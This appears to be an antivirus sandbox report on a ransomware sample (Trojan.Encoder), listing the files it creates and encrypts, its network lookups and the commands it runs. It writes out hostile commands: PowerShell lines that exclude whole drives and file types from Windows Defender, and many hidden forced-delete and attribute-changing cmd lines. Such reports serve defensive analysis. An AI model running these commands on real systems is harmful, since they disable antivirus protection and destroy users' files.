Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
deletes volume shadow copies.
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -Force -ExclusionExtension py
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -Force -ExclusionPath C:\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -Force -ExclusionPath D:\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -Force -ExclusionExtension exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -Force -ExclusionPath <Drive name for removable media>:\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -Force -ExclusionPath E:\
Launches a large number of processes
Modifies file system
Creates the following files
- %TEMP%\_mei27522\kffpdo-pkzvgq-aqagn4-beshys895d8af1-e9d0-296b-344b-1536e1de0893rra.exe.manifest
- C:\msocache\all users\{90140000-0016-0409-1000-0000000ff1ce}-c\excellr.cab.rs
- %CommonProgramFiles%\system\directdb.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1040\hxdsui.dll.rs
- %CommonProgramFiles%\microsoft shared\equation\eqnedt32.cnt.rs
- %CommonProgramFiles%\microsoft shared\grphflt\cgmimp32.cfg.rs
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\powerpointmui.msi.rs
- %CommonProgramFiles%\microsoft shared\help\hxds.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1036\hxdsui.dll.rs
- %WINDIR%\bfsvc.exe.rs
- %CommonProgramFiles(x86)%\microsoft shared\msinfo\msinfo32.exe.rs
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\outlklr.cab.rs
- C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\setup.xml.rs
- %CommonProgramFiles(x86)%\adobe\helpcfg\en_us\reader_dc.helpcfg.rs
- %WINDIR%\assembly\desktop.ini.rs
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\publishermui.msi.rs
- %CommonProgramFiles(x86)%\microsoft shared\office14\csi.dll.rs
- %WINDIR%\appcompat\programs\recentfilecache.bcf.rs
- %CommonProgramFiles(x86)%\microsoft shared\office14\1033\msointl.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\stationery\bears.htm.rs
- %ALLUSERSPROFILE%\microsoft help\hx.hxn.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1041\hxdsui.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\portal\portalconnectcore.dll.rs
- %CommonProgramFiles%\microsoft shared\ink\alphabet.xml.rs
- %CommonProgramFiles(x86)%\adobe\arm\1.0\adobearm.exe.rs
- %CommonProgramFiles(x86)%\microsoft shared\portal\1033\portalconnect.dll.rs
- C:\msocache\all users\{90140000-0043-0409-1000-0000000ff1ce}-c\office32mui.msi.rs
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.en\proof.cab.rs
- %CommonProgramFiles(x86)%\microsoft shared\ink\inkdiv.dll.rs
- %ProgramFiles%\desktop.ini.rs
- %CommonProgramFiles%\microsoft shared\filters\msgfilt.dll.rs
- %CommonProgramFiles(x86)%\system\ado\adojavas.inc.rs
- %CommonProgramFiles%\designer\msaddndr.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\dao\dao360.dll.rs
- %CommonProgramFiles(x86)%\services\verisign.bmp.rs
- %ProgramFiles(x86)%\adobe\acrobat reader dc\readme.htm.rs
- %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf.rs
- %CommonProgramFiles%\services\verisign.bmp.rs
- %ProgramFiles(x86)%\adobe\acrobat reader dc\esl\aiodlite.dll.rs
- %CommonProgramFiles(x86)%\steam\steamservice.exe.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1031\hxdsui.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1028\hxdsui.dll.rs
- %CommonProgramFiles%\system\ado\adojavas.inc.rs
- %CommonProgramFiles%\microsoft shared\equation\1033\eeintl.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\ink\1.0\microsoft.ink.dll.rs
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi.rs
- %CommonProgramFiles%\microsoft shared\dw\dbghelp.dll.rs
- %ALLUSERSPROFILE%\adobe\setup\{ac76ba86-7ad7-1033-7b44-ac0f074e4100}\abcpy.ini.rs
- %WINDIR%\addins\fxsext.ecf.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1033\hxdsui.dll.rs
- %CommonProgramFiles(x86)%\java\java update\jaureg.exe.rs
- %CommonProgramFiles(x86)%\microsoft shared\msenv\publicassemblies\extensibility.dll.rs
- %CommonProgramFiles%\microsoft shared\euro\msoeuro.dll.rs
- C:\users\desktop.ini.rs
- %CommonProgramFiles(x86)%\microsoft shared\ink\1.7\microsoft.ink.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\ink\en-us\inkobj.dll.mui.rs
- %CommonProgramFiles(x86)%\microsoft shared\msinfo\en-us\msinfo32.exe.mui.rs
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\office32ww.msi.rs
- %CommonProgramFiles(x86)%\system\directdb.dll.rs
- %WINDIR%\apppatch\acgenral.dll.rs
- %ProgramFiles(x86)%\desktop.ini.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1042\hxdsui.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1046\hxdsui.dll.rs
- %CommonProgramFiles%\microsoft shared\office14\acecore.dll.rs
- %CommonProgramFiles%\microsoft shared\smart tag\fbiblio.dll.rs
- %ALLUSERSPROFILE%\mozilla\updates\e7cf176e110c211b\update-config.json.rs
- %CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\abbreviations\en_ca\list.txt.rs
- %ALLUSERSPROFILE%\package cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe.rs
- %ALLUSERSPROFILE%\microsoft\mf\active.grl.rs
- %CommonProgramFiles(x86)%\microsoft shared\vsto\actionspane3.xsd.rs
- %CommonProgramFiles(x86)%\microsoft shared\vba\vba6\vbe6ext.olb.rs
- %CommonProgramFiles%\microsoft shared\source engine\ose.exe.rs
- %CommonProgramFiles%\microsoft shared\office14\1033\aceintl.dll.rs
- C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\1033\dwintl20.dll.rs
- %ALLUSERSPROFILE%\package cache\42d5bec7ddfbd49e76467529cbc2868987bf8460\packages\patch\x64\windows6.1-kb2999226-x64.msu.rs
- %TEMP%\_mei27522\altgraph-0.17.dist-info\zip-safe
- %CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\abbreviations\en_gb\list.txt.rs
- %ALLUSERSPROFILE%\microsoft\office\assetlibrary.ico.rs
- %CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\abbreviations\en_us\list.txt.rs
- %ALLUSERSPROFILE%\package cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe.rs
- %CommonProgramFiles(x86)%\microsoft shared\vsto\10.0\vstoinstaller.config.rs
- %CommonProgramFiles(x86)%\microsoft shared\vsto\10.0\1033\vstoinstallerui.dll.rs
- %CommonProgramFiles%\microsoft shared\textconv\msconv97.dll.rs
- %ALLUSERSPROFILE%\package cache\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\packages\vcruntimeminimum_x86\cab1.cab.rs
- %CommonProgramFiles(x86)%\microsoft shared\web server extensions\14\bin\fpsrvutl.dll.rs
- %CommonProgramFiles%\microsoft shared\translat\arfr\msb1arfr.its.rs
- %CommonProgramFiles(x86)%\microsoft shared\vsta\8.0\microsoft.visualstudio.tools.applications.blueprints.tlb.rs
- %CommonProgramFiles(x86)%\microsoft shared\vsta\appinfodocument\addins.store.rs
- %CommonProgramFiles%\microsoft shared\translat\enes\msb1enes.its.rs
- %ALLUSERSPROFILE%\microsoft\identitycrl\ppcrlconfig.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\textconv\wksconv\wkconv.exe.rs
- %CommonProgramFiles%\microsoft shared\msinfo\msinfo32.exe.rs
- %CommonProgramFiles%\microsoft shared\msclientdatamgr\mscdm.dll.rs
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\6d14e4b1d8ca773bab785d1be032546e_d4602615-9d50-4880-be41-678935e93eaa.rs
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.fr\proof.cab.rs
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proofing.msi.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\hx.hxc.rs
- C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\onenotemui.msi.rs
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\groovelr.cab.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\1049\hxdsui.dll.rs
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.es\proof.cab.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\3082\hxdsui.dll.rs
- %CommonProgramFiles(x86)%\microsoft shared\help\2052\hxdsui.dll.rs
- %CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\osppc.dll.rs
- %ALLUSERSPROFILE%\microsoft\assistance\client\1.0\en-us\help_cvalidator.h1d.rs
- %CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\languagenames2\displaylanguagenames.en_ca.txt.rs
- %CommonProgramFiles%\microsoft shared\msinfo\en-us\msinfo32.exe.mui.rs
- %CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\adobe\products.txt.rs
- %ALLUSERSPROFILE%\microsoft\device stage\task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\folder.ico.rs
- %ALLUSERSPROFILE%\oracle\java\installcache_x64\baseimagefam8.rs
- %ALLUSERSPROFILE%\mozilla\updates\308046b0af4a39cb\update-config.json.rs
- C:\users\default\appdata\roaming\microsoft\internet explorer\quick launch\desktop.ini.rs
- C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\accessmuiset.msi.rs
- %CommonProgramFiles(x86)%\microsoft shared\vc\msdia100.dll.rs
- %ALLUSERSPROFILE%\oracle\java\javapath\java.exe.rs
- %CommonProgramFiles%\microsoft shared\proof\mslid.dll.rs
- %ALLUSERSPROFILE%\mozilla\updates\d78bf5dd33499ec2\update-config.json.rs
- C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\accessmui.msi.rs
- %ALLUSERSPROFILE%\microsoft\device stage\task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\folder.ico.rs
- %CommonProgramFiles(x86)%\adobe\reader\dc\linguistics\providers\plugins2\adobehunspellplugin\adobehunspellplugin.dll.rs
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\inflr.cab.rs
- %CommonProgramFiles(x86)%\microsoft shared\vgx\vgx.dll.rs
- <Full path to file>.rs
- C:\kms\kms_vl_all_aio.cmd.rs
- C:\$recycle.bin\s-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini.rs
- %TEMP%\_mei27522\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei27522\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei27522\cryptography\hazmat\bindings\_openssl.pyd
- %TEMP%\_mei27522\cryptography\hazmat\bindings\_padding.pyd
- %TEMP%\_mei27522\libcrypto-1_1.dll
- %TEMP%\_mei27522\libssl-1_1.dll
- %TEMP%\_mei27522\mfc140u.dll
- %TEMP%\_mei27522\pyexpat.pyd
- %TEMP%\_mei27522\python3.dll
- %TEMP%\_mei27522\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei27522\python37.dll
- %TEMP%\_mei27522\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei27522\vcruntime140.dll
- %TEMP%\_mei27522\_bz2.pyd
- %TEMP%\_mei27522\_cffi_backend.cp37-win_amd64.pyd
- %TEMP%\_mei27522\_ctypes.pyd
- %TEMP%\_mei27522\_decimal.pyd
- %TEMP%\_mei27522\_hashlib.pyd
- %TEMP%\_mei27522\_lzma.pyd
- %TEMP%\_mei27522\_multiprocessing.pyd
- %TEMP%\_mei27522\_queue.pyd
- %TEMP%\_mei27522\_socket.pyd
- %TEMP%\_mei27522\_ssl.pyd
- %TEMP%\_mei27522\_win32sysloader.pyd
- %TEMP%\_mei27522\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei27522\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei27522\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei27522\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei27522\pythoncom37.dll
- %TEMP%\_mei27522\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei27522\pywintypes37.dll
- %TEMP%\_mei27522\pip-20.1.1.dist-info\license.txt
- %TEMP%\_mei27522\pip-20.1.1.dist-info\record
- %TEMP%\_mei27522\pip-20.1.1.dist-info\wheel
- %TEMP%\_mei27522\pip-20.1.1.dist-info\entry_points.txt
- %TEMP%\_mei27522\pip-20.1.1.dist-info\top_level.txt
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\description.rst
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\installer
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\license.txt
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\metadata
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\record
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\wheel
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\entry_points.txt
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\metadata.json
- %TEMP%\_mei27522\pyinstaller-4.4.dist-info\top_level.txt
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\installer
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\license
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\metadata
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\record
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\wheel
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\dependency_links.txt
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\entry_points.txt
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\top_level.txt
- %TEMP%\_mei27522\setuptools-47.1.0.dist-info\zip-safe
- %TEMP%\hzuir64f
- %LOCALAPPDATA%\win32cryp.dll
- %HOMEPATH%\desktop\contact me.txt
- %TEMP%\_mei27522\pip-20.1.1.dist-info\installer
- %TEMP%\_mei27522\importlib_metadata-4.6.1.dist-info\wheel
- %TEMP%\_mei27522\pip-20.1.1.dist-info\metadata
- %TEMP%\_mei27522\importlib_metadata-4.6.1.dist-info\top_level.txt
- %TEMP%\_mei27522\importlib_metadata-4.6.1.dist-info\record
- %TEMP%\_mei27522\select.pyd
- %TEMP%\_mei27522\ucrtbase.dll
- %TEMP%\_mei27522\unicodedata.pyd
- %TEMP%\_mei27522\win32api.pyd
- %TEMP%\_mei27522\win32com\shell\shell.pyd
- %TEMP%\_mei27522\win32trace.pyd
- %TEMP%\_mei27522\win32ui.pyd
- %TEMP%\_mei27522\win32wnet.pyd
- %TEMP%\_mei27522\altgraph-0.17.dist-info\installer
- %TEMP%\_mei27522\altgraph-0.17.dist-info\license
- %TEMP%\_mei27522\altgraph-0.17.dist-info\metadata
- %TEMP%\_mei27522\altgraph-0.17.dist-info\record
- %TEMP%\_mei27522\altgraph-0.17.dist-info\wheel
- %CommonProgramFiles%\microsoft shared\vc\msdia100.dll.rs
- %ALLUSERSPROFILE%\package cache\{295d1583-fdb9-414b-a4c8-da539362a26b}\vc_redist.x64.exe.rs
- %TEMP%\_mei27522\altgraph-0.17.dist-info\top_level.txt
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\installer
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\license
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\license.apache
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\license.bsd
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\license.psf
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\metadata
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\record
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\wheel
- %TEMP%\_mei27522\cryptography-3.4.7.dist-info\top_level.txt
- %TEMP%\_mei27522\importlib_metadata-4.6.1.dist-info\installer
- %TEMP%\_mei27522\importlib_metadata-4.6.1.dist-info\license
- %TEMP%\_mei27522\importlib_metadata-4.6.1.dist-info\metadata
- %TEMP%\_mei27522\tinyaes.cp37-win_amd64.pyd
- %TEMP%\_mei27522\base_library.zip
- %CommonProgramFiles%\microsoft shared\translat\enfr\msb1enfr.its.rs
Sets the 'hidden' attribute to the following files
- %LOCALAPPDATA%\win32cryp.dll
- C:\$recycle.bin\s-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini.rs
Deletes the following files
- %TEMP%\hzuir64f
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'sm##.gmail.com':465
TCP
Other
- 'sm##.gmail.com':465
UDP
- DNS ASK re#####r1.opendns.com
- DNS ASK 22#.###.67.208.in-addr.arpa
- DNS ASK my##.#pendns.com
- DNS ASK sm##.gmail.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "nslookup myip.opendns.com resolver1.opendns.com"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\HostSideAdapters\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Web Folders\1033\MSOSVINT.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BOLDSTRI\BOLDSTRI.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\cversions.2.db""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{6CD9E9ED-906D-4196-8DC3-F987D2F6615F}v14.29.30133\packages\vcRuntimeMinimum_amd64\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\MSB1AR.LEX""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VBA\VBA7\VBE7.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VSTO\10.0\1033\VSTOInstallerUI.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\packages\vcRuntimeAdditional_amd64\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VBA\VBA7\1033\FM20.CHM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\PipelineSegments.store""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Web Folders\MSOSV.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\FRAR\MSB1FRAR.ITS""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\AXIS\AXIS.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BLENDS\BLENDS.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\Contracts\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BLUECALM\BLUECALM.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Command Prompt.lnk""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows NT\MSFax\Common Coverpages\en-US\confident.cov""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.1.Crwl""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\BIN\FPSRVUTL.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\CAPSULES\CAPSULES.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BLUEPRNT\BLUEPRNT.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\vcRuntimeAdditional_amd64\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\CANYON\CANYON.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows NT\MSScan\WelcomeScan.jpg""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\MSS.chk""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\FREN\MSB1FREN.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{42667D2E-B054-46C1-9D46-2EE1332C14C1}v14.29.30133\packages\vcRuntimeAdditional_x86\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\DeviceMetadataStore\en-US\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\ESEN\MSB1ESEN.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTO\10.0\VSTOInstaller.config""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Web Server Extensions\14\BIN\FPSRVUTL.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\packages\vcRuntimeMinimum_x86\cab1.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TextConv\MSCONV97.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTO\10.0\1033\VSTOInstallerUI.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\ARFR\MSB1ARFR.ITS""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\8.0\Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\ARCTIC\ARCTIC.ELM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Abbreviations\en_US\List.txt""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\OFFICE\AssetLibrary.ico""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\1033\dwintl20.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\42D5BEC7DDFBD49E76467529CBC2868987BF8460\packages\Patch\x64\Windows6.1-KB2999226-x64.msu""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Abbreviations\en_GB\List.txt""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\AppInfoDocument\AddIns.store""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\ENFR\MSB1ENFR.ITS""' (with hidden window)
